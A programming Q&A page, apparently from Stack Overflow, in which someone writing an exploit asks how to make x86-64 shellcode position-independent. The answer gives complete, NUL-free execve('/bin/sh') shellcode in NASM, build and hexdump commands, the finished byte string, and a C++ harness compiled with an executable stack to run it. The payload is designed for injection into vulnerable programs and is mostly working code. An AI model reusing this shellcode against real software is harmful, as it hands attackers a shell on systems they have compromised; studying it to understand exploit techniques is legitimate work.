Search code examples
assemblyx86-64nasmshellcodeexecve

Pointer to string in stand-alone binary code without .data section


I'm trying to write kind of exploit and have a problem with making my asm code run anywhere on the stack. Here's it:

BITS 64

global _start
_start:

  mov rax, 59

  jmp short file
  c1:
  pop rdi

  jmp short argv
  c2:
  pop rsi

  mov rdx, 0

  syscall
  ret

file:

  call c1
  db '/bin/sh',0

argv:

  call c2
  dq arg, 0  <- problem

arg:

  db 'sh',0

This code won't work anywhere on the stack due to selected line because this code can be executed anywhere on the stack so nasm can't correctly compute arg's address. (This is a followup to shellcode calls different syscall while runing alone as individiual code and while running with C++ code where that was the problem.)

I've easily replaced strings with jmp/call/pop trick but still have a problem with pointer to string.


Solution

  • In 64-bit code you don't need the JMP/CALL/POP method since you have the ability to use RIP relative addressing. Your code also inserts unwanted NUL bytes in the string with instructions like mov rdx, 0. For shellcode that will be inserted as strings you need to use a set of instructions that doesn't introduce a NUL as that can prematurely end the string depending on how it is injected into exploitable program.

    execve is defined as:

    execve - execute program

    int execve(const char *pathname, char *const argv[],
               char *const envp[]);
    

    argv is an array of argument strings passed to the new program. By convention, the first of these strings (i.e., argv[0]) should contain the filename associated with the file being executed. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. The argv and envp arrays must each include a null pointer at the end of the array.

    If not using envp you can pass a NULL. argv needs to be a NULL terminated list of pointers to strings. In your case you are trying to generate the equivalent of the C code:

    #include <unistd.h>
    int main()
    {
        char pathname[] = "/bin/sh";
        char *argv[] = { pathname, NULL };
        execve (pathname, argv, NULL);
        return 0;
    }
    

    You can do this entirely on the stack in assembly code that can be run as a shellcode. The following code builds the /bin/sh string on the stack and points RDI (pathname) to it. It then builds the NULL terminated argv list by pushing a NULL on the stack and the value in RDI is pushed. RSI is then set to the argv list on the stack. RDX is zeroed so the envp list is NULL. The execve (syscall 59) is then invoked. I create a shellcode.asm assembly file with:

    BITS 64
    
    global _start
    _start:
        ; Build pathname on the stack
        sub rsp, 8                ; Allocate space for the pathname on the stack
        mov rdi, rsp              ; Set RDI to the space that will hold the pathname
        mov dword [rsp], '/bin'   ; Move the first 4 characters of the path into pathname
        mov dword [rsp+4], '/sh.' ; Move the last 4 characters of the path into pathname
                                  ;     The '.' character will be replaced with a NUL byte
        xor eax, eax              ; Zero RAX
        mov [rsp+7], al           ; Terminate pathname by replacing the period with 0
    
        ; Build NULL terminated argv list on the stack
        push rax                  ; NULL terminator
        push rdi                  ; Pointer to pathname
        mov rsi, rsp              ; Point RSI to the argv array
    
        xor edx, edx              ; RDX = NULL(0) (we don't have an envp list)
        mov al, 59                ; 59 = execve system call number
        syscall                   ; Do the execve system call
    

    Build it into a binary executable with:

    nasm -f elf64 shellcode.asm -o shellcode.o
    gcc -nostartfiles shellcode.o -o shellcode
    

    Running ./shellcode should produce a Linux shell prompt. Next convert the standalone executable to a shell string binary called shellcode.bin and then convert it to a HEX string with HEXDUMP:

    objcopy -j.text -O binary shellcode shellcode.bin
    hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
    

    The output from the HEXDUMP should be:

    \x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05

    Note: There are no NUL (\x00) in the output.

    Insert the string into your exploitable C++ program call exploit.cpp:

    int main(void)
    {
        char shellstr[]="\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05";
        reinterpret_cast<void(*)()>(shellstr)();
    
        return 0;
    }
    

    Compile it to the program exploit with an executable stack:

    g++ -Wl,-z,execstack exploit.cpp -o exploit
    

    When run with ./exploit it should present a Linux shell prompt. strace ./exploit should output this for the execve system call:

    execve("/bin/sh", ["/bin/sh"], NULL) = 0